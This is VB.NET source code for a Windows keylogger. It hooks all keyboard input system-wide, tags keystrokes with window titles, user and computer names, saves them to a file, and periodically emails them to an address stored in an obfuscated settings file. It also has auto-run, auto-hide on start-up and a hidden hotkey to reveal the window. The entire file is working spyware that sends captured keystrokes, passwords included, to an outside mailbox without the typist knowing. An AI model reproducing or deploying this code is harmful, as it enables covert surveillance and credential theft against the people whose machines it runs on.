Imports System.Net
Imports System.Net.Mail
Imports System.IO

Public Class KBHook

#Region "API Functions And Structures"

    'Event types
    Private Const WM_KEYUP As Integer = &H101
    Private Const WM_KEYDOWN As Short = &H100S
    Private Const WM_SYSKEYDOWN As Integer = &H104
    Private Const WM_SYSKEYUP As Integer = &H105

    'Event Info structure
    Public Structure KBDLLHOOKSTRUCT
        Public vkCode As Integer 'KeyCode (Of interest to us)
        Public scanCode As Integer 'ScanCode
        Public flags As Integer
        Public time As Integer
        Public dwExtraInfo As Integer
    End Structure

    'Enum containing keyboard codes stored as hex
    Enum virtualKey

        'Misc
        K_Return = &HD
        K_Backspace = &H8
        K_Space = &H20
        K_Tab = &H9
        K_Esc = &H1B

        K_Control = &H11
        K_LControl = &HA2
        K_RControl = &HA3

        K_Delete = &H2E
        K_End = &H23
        K_Home = &H24
        K_Insert = &H2D

        K_Shift = &H10
        K_LShift = &HA0
        K_RShift = &HA1

        K_Pause = &H13
        K_PrintScreen = &H2C

        K_LWin = &H5B
        K_RWin = &H5C

        K_Alt = &H12
        K_LAlt = &HA4
        K_RAlt = &HA5

        'Locks
        K_NumLock = &H90
        K_CapsLock = &H14

        'Arrows
        K_Up = &H26
        K_Down = &H28
        K_Right = &H27
        K_Left = &H25

        'F1-12
        K_F1 = &H70
        K_F2 = &H71
        K_F3 = &H72
        K_F4 = &H73
        K_F5 = &H74
        K_F6 = &H75
        K_F7 = &H76
        K_F8 = &H77
        K_F9 = &H78
        K_F10 = &H79
        K_F11 = &H7A
        K_F12 = &H7B

        'Numpad
        K_Numpad0 = &H60
        K_Numpad1 = &H61
        K_Numpad2 = &H62
        K_Numpad3 = &H63
        K_Numpad4 = &H64
        K_Numpad5 = &H65
        K_Numpad6 = &H66
        K_Numpad7 = &H67
        K_Numpad8 = &H68
        K_Numpad9 = &H69

        'Math (numpad)
        K_Num_Add = &H6B
        K_Num_Divide = &H6F
        K_Num_Multiply = &H6A
        K_Num_Subtract = &H6D
        K_Num_Decimal = &H6E

        'Characters and Numbers
        K_0 = &H30
        K_1 = &H31
        K_2 = &H32
        K_3 = &H33
        K_4 = &H34
        K_5 = &H35
        K_6 = &H36
        K_7 = &H37
        K_8 = &H38
        K_9 = &H39
        K_A = &H41
        K_B = &H42
        K_C = &H43
        K_D = &H44
        K_E = &H45
        K_F = &H46
        K_G = &H47
        K_H = &H48
        K_I = &H49
        K_J = &H4A
        K_K = &H4B
        K_L = &H4C
        K_M = &H4D
        K_N = &H4E
        K_O = &H4F
        K_P = &H50
        K_Q = &H51
        K_R = &H52
        K_S = &H53
        K_T = &H54
        K_U = &H55
        K_V = &H56
        K_W = &H57
        K_X = &H58
        K_Y = &H59
        K_Z = &H5A

        'Punctuation
        K_Hyphen = &HBD
        K_Period = &HBE
        K_SemiColon = &HBA
        K_Equals = &HBB
        K_Comma = &HBC
        K_ForwardSlash = &HBF
        K_BackSlash = &HDC
        K_Tilde = &HC0
        K_OpenBracket = &HDB
        K_CloseBracket = &HDD
        K_Apostrophe = &HDE


    End Enum

    'Keyboard hook related functions
    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
    Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

    'Other API functions
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
#End Region

#Region "Globals"
    Private KeyboardHandle As IntPtr = 0 'Handle of the hook
    Private LastCheckedForegroundTitle As String = "" 'Title of the foreground window when last checked
    Private callback As KeyboardHookDelegate = Nothing 'Delegate for the hook

    Private KeyLog As String 'Variable which holds the text to be appended to the text file
    Private TempLog As String 'Temp variable to hold log for emailing
#End Region
#Region "Keyboard code"
    ''' <summary>
    ''' Gets the title of the active window
    ''' </summary>
    ''' <returns></returns>
    ''' <remarks></remarks>
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

        Return MyStr
    End Function

    ''' <summary>
    ''' Checks if we set a hook or not
    ''' </summary>
    ''' <returns>True/False</returns>
    ''' <remarks></remarks>
    Private Function Hooked()
        Return KeyboardHandle <> 0 'If KeyboardHandle = 0 it means that it isn't hooked so return false, otherwise return true
    End Function

    ''' <summary>
    ''' Sets the keyboard hook
    ''' </summary>
    ''' <remarks></remarks>
    Public Sub HookKeyboard()
        callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
        KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
        If KeyboardHandle <> 0 Then
            Me.btnStop.Enabled = True
            Me.btnStart.Enabled = False
            Label1.Text = "Active"
            Label1.ForeColor = Color.DarkGreen
        End If
    End Sub

    ''' <summary>
    ''' Unsets the keyboard hook
    ''' </summary>
    ''' <remarks></remarks>
    Public Sub UnhookKeyboard()
        If (Hooked()) Then
            If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
                Label1.Text = "Not Active"
                Label1.ForeColor = Color.DarkRed
                Me.btnStop.Enabled = False
                Me.btnStart.Enabled = True
                KeyboardHandle = 0 'We have unhooked successfully
            End If
        End If
    End Sub

    ''' <summary>
    ''' Function to be called when there's a keyboard event
    ''' </summary>
    ''' <param name="Code">If this argument is lower than 0 you shouldn't block the event</param>
    ''' <param name="wParam">Type of event (Key UP/DOWN, etc.)</param>
    ''' <param name="lParam">Event Details</param>
    ''' <returns></returns>
    ''' <remarks></remarks>
    Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

        'Get current foreground window title
        Dim CurrentTitle = GetActiveWindowTitle()

        'If title of the foreground window changed
        If CurrentTitle <> LastCheckedForegroundTitle Then
            LastCheckedForegroundTitle = CurrentTitle
            'Add a little header containing the application title and date
            KeyLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") User " & Environment.UserName & " on computer " & Environment.UserDomainName & " ------------" & vbCrLf
            TempLog &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") User " & Environment.UserName & " on computer " & Environment.UserDomainName & " ------------" & vbCrLf
        End If

        'Variable to hold the text describing the key pressed

        Dim Key As String = ""
        Static keyold As String

        'If event is KEYDOWN
        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then

            'If we can block events
            If Code >= 0 Then
                'If Ctrl+Alt+S
                If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then
                    If Me.Visible = False Then
                        If File.Exists("tfuujoht") Then
                            Dim reader As New StreamReader("tfuujoht")
                            Dim ekey(64) As Integer
                            Dim readline As String = Nothing
                            For x As Integer = 0 To 63
                                ekey(x) = Val(ChrW(reader.Read()))
                            Next

                            For counter As Integer = 0 To 5
                                readline = reader.ReadLine
                            Next

                            reader.Close()
                            reader.Dispose()
                            'reader = Nothing

                            If readline.Chars(3) = "x" Then
                                Dim password As String = Nothing
                                Dim passwordtodecrypt As String = readline.Substring(4, readline.Length - 4)

                                For count As Integer = 0 To passwordtodecrypt.Length() - 1
                                    password += ChrW(Asc(passwordtodecrypt.Chars(count)) + ekey(count))
                                Next

                                Try
                                    Password_Dialog.ShowDialog()
                                Catch : End Try

                                If password = Password_Dialog.txtPassword.Text Then
                                    Password_Dialog.txtPassword.Text = Nothing
                                    Me.Visible = Not Me.Visible 'Hide/Show form

                                    Return 1 'Block event
                                Else
                                    Password_Dialog.txtPassword.Text = Nothing

                                    Return 1 'Block event
                                End If
                            Else
                                Me.Visible = Not Me.Visible 'Hide/Show form

                                Return 1 'Block event
                            End If

                        Else
                            Me.Visible = Not Me.Visible 'Hide/Show form
                            Return 1 'Block event
                        End If
                    Else
                        Me.Visible = Not Me.Visible 'Hide/Show form
                        Return 1 'Block event
                    End If
                End If
            End If

            'Translate virtual key into character/expression
            Select Case lParam.vkCode
                Case virtualKey.K_0 To virtualKey.K_9
                    Key = ChrW(lParam.vkCode)
                Case virtualKey.K_Numpad0 To virtualKey.K_Numpad9
                    Key = (lParam.vkCode - 96).ToString
                Case virtualKey.K_A To virtualKey.K_Z
                    Key = ChrW(lParam.vkCode + 32)
                Case virtualKey.K_Space
                    Key = " "
                Case virtualKey.K_RControl, virtualKey.K_LControl
                    Key = "[c]"
                Case virtualKey.K_LAlt, virtualKey.K_RAlt
                    Key = "[a]"
                Case virtualKey.K_LShift, virtualKey.K_RShift
                    Key = "[s]"
                Case virtualKey.K_Return
                    Key = "[e]"
                Case virtualKey.K_Tab
                    Key = "[t]"
                Case virtualKey.K_Delete
                    Key = "[d]"
                Case virtualKey.K_Esc
                    Key = "[esc]"
                Case virtualKey.K_CapsLock
                    If My.Computer.Keyboard.CapsLock Then
                        Key = "[/caps]"
                    Else
                        Key = "[caps]"
                    End If
                Case virtualKey.K_F1 To virtualKey.K_F12 '24
                    Key = "[F" & (lParam.vkCode - 111) & "]"
                Case virtualKey.K_Right
                    Key = "[->]"
                Case virtualKey.K_Down
                    Key = "[dn]"
                Case virtualKey.K_Left
                    Key = "[<-]"
                Case virtualKey.K_Up
                    Key = "[up]"
                Case virtualKey.K_Backspace
                    Key = "[bk]"
                Case virtualKey.K_Period, virtualKey.K_Num_Decimal
                    Key = "."
                Case virtualKey.K_Hyphen, virtualKey.K_Num_Subtract
                    Key = "-"
                Case virtualKey.K_Num_Multiply
                    Key = "*"
                Case virtualKey.K_Num_Add
                    Key = "+"
                Case virtualKey.K_NumLock
                    If My.Computer.Keyboard.NumLock Then
                        Key = "[/n]"
                    Else
                        Key = "[n]"
                    End If
                Case virtualKey.K_SemiColon
                    Key = ";"
                Case virtualKey.K_Equals
                    Key = "="
                Case virtualKey.K_Comma
                    Key = ","
                Case virtualKey.K_ForwardSlash, virtualKey.K_Num_Divide
                    Key = "/"
                Case virtualKey.K_Tilde
                    Key = "`"
                Case virtualKey.K_OpenBracket
                    Key = "["
                Case virtualKey.K_BackSlash
                    Key = "\"
                Case virtualKey.K_CloseBracket
                    Key = "]"
                Case virtualKey.K_Apostrophe
                    Key = "'"
                Case Else
                    Key = "[u: " & lParam.vkCode & "]" 'If we didn't treat it, show the virtual key code (integer) so that we know what Case to add
            End Select


            'If event is Key UP
        ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
            Select Case lParam.vkCode
                Case virtualKey.K_RControl, virtualKey.K_LControl
                    Key = "[/c]"
                Case virtualKey.K_LAlt, virtualKey.K_RAlt
                    Key = "[/a]"
                Case virtualKey.K_LShift, virtualKey.K_RShift
                    Key = "[/s]"
            End Select
        End If

        'Add it to the log

        If Not (Key = keyold And (Key = "[s]" Or Key = "[a]" Or Key = "[c]" Or Key = "[e]" Or Key = "[t]")) Then
            KeyLog &= Key
            TempLog &= Key
            keyold = Key
            Console.Write(Key)
            'Me.txtDebugLog.Text += Key 'Add it to the listbox for debugging purposes
        Else
            keyold = Key
        End If

        Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications

    End Function

    ''' <summary>
    ''' Write log to file
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try
            'My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)
            Dim writer As New StreamWriter("keys.txt", True)
            writer.Write(KeyLog)

            writer.Close()
            writer.Dispose()

            KeyLog = ""
            Timer1.Start()
        Catch ex As Exception
            MessageBox.Show(ex.Message)
            Timer1.Start()
        End Try
    End Sub

    ''' <summary>
    ''' On Form Exit
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing

        UnhookKeyboard()
        My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", KeyLog, True)
        Call Timer2_Tick(sender, e)

    End Sub

    ''' <summary>
    ''' Start Hook
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub btnStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStart.Click

        Timer1.Start()
        HookKeyboard()

    End Sub

    ''' <summary>
    ''' Stop the hook
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub btnStop_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStop.Click

        Timer1.Stop()
        UnhookKeyboard()

    End Sub

    ''' <summary>
    ''' Exit Program
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub btnExit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnExit.Click

        Timer1.Stop()
        Me.Close()

    End Sub
#End Region

    ''' <summary>
    ''' Calculate XOR checksum to verify integrity and prevent tampering
    ''' </summary>
    ''' <remarks></remarks>
    ''' <returns>True if checksum calcuated is equal to checksum in the file, else False</returns>
    Function checksumcalc()
        Dim reader As New IO.StreamReader("tfuujoht")
        Dim checksum As Integer
        Dim checksumstring As String = reader.ReadToEnd

        reader.Close()
        reader.Dispose()

        For counter As Integer = 0 To checksumstring.Length - 4
            If checksum = 0 Then 'if checksum is 0 add the first char's value
                checksum = Convert.ToByte(checksumstring.Chars(counter))
            Else 'else xor it
                checksum = checksum Xor Convert.ToByte(checksumstring.Chars(counter))
            End If
        Next

        If checksum.ToString("X2") = checksumstring.Substring(checksumstring.IndexOf("*") + 1, 2) Then
            Return True
        Else
            Return False
        End If

    End Function

    ''' <summary>
    ''' Load Program
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks>Starts the logger running on program load if settings file exists</remarks>
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If File.Exists("tfuujoht") Then
            Try
                If checksumcalc() Then 'checksumcalc(reader2) Then
                    Dim reader As New IO.StreamReader("tfuujoht")
                    Dim readline As String
                    Dim key(64) As Integer
                    Dim efrom As String = Nothing
                    Dim eto As String = Nothing
                    Dim epw As String = Nothing

                    readline = reader.ReadLine()

                    For x As Integer = 0 To 63
                        key(x) = Val(readline.Chars(x))
                    Next

                    readline = reader.ReadLine()

                    For count As Integer = 0 To readline.Length() - 1
                        efrom += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    readline = reader.ReadLine()

                    For count As Integer = 0 To readline.Length() - 1
                        eto += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    readline = reader.ReadLine()

                    For count As Integer = 0 To readline.Length() - 1
                        epw += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    readline = reader.ReadLine()

                    Dim interval As String = Nothing

                    For count As Integer = 0 To readline.Length() - 1
                        interval += ChrW(Asc(readline.Chars(count)) + key(count))
                    Next

                    Me.Timer2.Interval = Val(interval) * 1000 * 60

                    readline = reader.ReadLine()
                    reader.Close()
                    reader.Dispose()

                    If readline.Chars(0) = "x" Then 'Auto email
                        Dim MyMailMessage As New MailMessage()

                        MyMailMessage.From = New MailAddress(efrom)

                        MyMailMessage.To.Add(eto)

                        MyMailMessage.Subject = "Logger start-up" 'subject/title of email

                        MyMailMessage.Body = "The logger has been activated by user " & Environment.UserName & " on computer " & Environment.UserDomainName 'body (message) of the email

                        Dim SMTPServer As New SmtpClient("smtp." & efrom.Substring(efrom.IndexOf("@") + 1))
                        SMTPServer.Port = 587
                        SMTPServer.Credentials = New System.Net.NetworkCredential(efrom, epw)
                        SMTPServer.EnableSsl = True

                        Try
                            SMTPServer.Send(MyMailMessage)
                        Catch ex As Exception
                            MessageBox.Show(ex.Message)
                        End Try

                        
                        MyMailMessage.Dispose()
                    End If

                    If readline.Chars(1) = "x" Then 'Auto hide
                        Me.Timer3.Start()
                    End If

                    If readline.Chars(2) = "x" Then 'Auto run
                        Me.Timer3.Start() '
                        HookKeyboard() 'emulates the start button's functionality
                    End If
                End If
            Catch ex As Exception
                MessageBox.Show(ex.Message)
            End Try
        End If
    End Sub

    ''' <summary>
    ''' Log emailing
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks>Emails logs as attachments using information provided in settings file</remarks>
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        If Not TempLog = Nothing Then
            Try
                Dim reader As New IO.StreamReader("tfuujoht")
                Dim readline As String
                Dim epw As String = Nothing
                Dim eto As String = Nothing
                Dim efrom As String = Nothing
                Dim key(64) As Integer

                readline = reader.ReadLine() 'Read decrypting key
                For x As Integer = 0 To 63
                    key(x) = Val(readline.Chars(x))
                Next

                readline = reader.ReadLine() 'Read sending email account name
                Dim buffertoread As String = Nothing
                For count As Integer = 0 To readline.Length() - 1
                    efrom += ChrW(Asc(readline.Chars(count)) + key(count))
                Next

                readline = reader.ReadLine() 'Read who to send the email to
                For count As Integer = 0 To readline.Length() - 1
                    eto += ChrW(Asc(readline.Chars(count)) + key(count))
                Next

                readline = reader.ReadLine() 'Read sending email password
                For count As Integer = 0 To readline.Length() - 1
                    epw += ChrW(Asc(readline.Chars(count)) + key(count))
                Next

                Dim MyMailMessage As New MailMessage()

                MyMailMessage.From = New MailAddress(efrom)
                MyMailMessage.To.Add(eto)
                MyMailMessage.Subject = "Key log" 'subject/title of email
                MyMailMessage.Body = "This log was sent on " & Now.ToString("f") & " from user " & Environment.UserName & " on computer " & Environment.UserDomainName & vbCrLf & vbCrLf & TempLog 'Body (message) of the email

                ' Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment("tmp.txt") 'Attachement (log)
                ' MyMailMessage.Attachments.Add(Attach)

                Dim SMTPServer As New SmtpClient("smtp." & efrom.Substring(efrom.IndexOf("@") + 1))
                SMTPServer.Port = 587
                SMTPServer.Credentials = New System.Net.NetworkCredential(efrom, epw)
                SMTPServer.EnableSsl = True

                Try
                    SMTPServer.Send(MyMailMessage) 'Send email
                    TempLog = ""
                Catch ex As Exception
                    MessageBox.Show(ex.Message)
                    My.Computer.FileSystem.WriteAllText(CurDir() & "\keys.txt", ex.Message & vbCrLf & ex.InnerException.ToString, True)
                End Try

                MyMailMessage.Dispose()

                reader.Close()
                reader.Dispose()

            Catch ex As Exception
                MessageBox.Show(ex.Message)
            End Try
        End If
    End Sub

    ''' <summary>
    ''' Shows settings
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks>Requires password authentication if set in settings</remarks>
    Private Sub btnSettings_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSettings.Click
        If File.Exists("tfuujoht") Then
            Try
                Dim reader As New StreamReader("tfuujoht")
                Dim key(64) As Integer
                Dim readline As String = Nothing
                For x As Integer = 0 To 63
                    key(x) = Val(ChrW(reader.Read()))
                Next

                For counter As Integer = 0 To 5
                    readline = reader.ReadLine() 'Read through all the data we dont need yet, and get to the password settings
                Next

                reader.Close()
                reader.Dispose()

                If readline.Chars(3) = "x" Then
                    Dim password As String = Nothing
                    Dim passwordtodecrypt As String = readline.Substring(4, readline.Length - 4)

                    For count As Integer = 0 To passwordtodecrypt.Length() - 1
                        password += ChrW(Asc(passwordtodecrypt.Chars(count)) + key(count))
                    Next

                    Try
                        Password_Dialog.ShowDialog()
                    Catch : End Try

                    If password = Password_Dialog.txtPassword.Text Then
                        Password_Dialog.txtPassword.Text = Nothing
                        Try
                            Settings.ShowDialog()
                        Catch : End Try
                    End If
                Else
                    Try
                        Settings.ShowDialog()
                    Catch : End Try
                End If
            Catch ex As Exception
                MessageBox.Show(ex.Message)
            End Try
        Else
            Try
                Settings.ShowDialog()
            Catch : End Try
        End If

    End Sub

    ''' <summary>
    ''' Hides form on start
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        Me.Visible = False
        Timer3.Stop()
    End Sub
End Class
